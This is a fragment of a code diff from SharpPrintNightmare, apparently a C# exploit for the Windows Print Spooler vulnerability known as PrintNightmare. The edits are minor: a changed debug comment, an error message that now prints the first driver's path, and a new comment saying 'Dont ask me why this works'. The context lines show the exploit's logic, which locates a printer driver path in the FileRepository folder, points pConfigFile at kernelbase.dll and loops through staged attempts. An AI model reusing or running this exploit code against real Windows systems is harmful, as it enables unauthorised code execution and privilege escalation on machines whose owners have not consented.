|
|
@ -75,7 +75,7 @@ namespace SharpPrintNightmare |
|
|
|
DRIVER_INFO_2[] drivers = getDrivers(); |
|
|
|
DRIVER_INFO_2[] drivers = getDrivers(); |
|
|
|
foreach (DRIVER_INFO_2 driver in drivers) |
|
|
|
foreach (DRIVER_INFO_2 driver in drivers) |
|
|
|
{ |
|
|
|
{ |
|
|
|
//Console.WriteLine(driver.pDriverPath); //debug |
|
|
|
//Console.WriteLine(driver.pDriverPath); //debugcd |
|
|
|
if (driver.pDriverPath.ToLower().Contains("filerepository")) |
|
|
|
if (driver.pDriverPath.ToLower().Contains("filerepository")) |
|
|
|
{ |
|
|
|
{ |
|
|
|
pDriverPath = driver.pDriverPath; |
|
|
|
pDriverPath = driver.pDriverPath; |
|
|
@ -85,7 +85,7 @@ namespace SharpPrintNightmare |
|
|
|
//could not find driver path |
|
|
|
//could not find driver path |
|
|
|
if (pDriverPath == "") |
|
|
|
if (pDriverPath == "") |
|
|
|
{ |
|
|
|
{ |
|
|
|
Console.WriteLine($"[-] [-] pDriverPath {pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); |
|
|
|
Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); |
|
|
|
Console.WriteLine($"[-] Specify pDriverPath manually"); |
|
|
|
Console.WriteLine($"[-] Specify pDriverPath manually"); |
|
|
|
Environment.Exit(1); |
|
|
|
Environment.Exit(1); |
|
|
|
} |
|
|
|
} |
|
|
@ -143,7 +143,7 @@ namespace SharpPrintNightmare |
|
|
|
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); |
|
|
|
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); |
|
|
|
Marshal.FreeHGlobal(pnt); |
|
|
|
Marshal.FreeHGlobal(pnt); |
|
|
|
|
|
|
|
|
|
|
|
//Specify a dll that does not exists in C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ |
|
|
|
//Dont ask me why this works |
|
|
|
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll"; |
|
|
|
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll"; |
|
|
|
for (int i = 1; i <= 30; i++) |
|
|
|
for (int i = 1; i <= 30; i++) |
|
|
|
{ |
|
|
|
{ |
|
|
|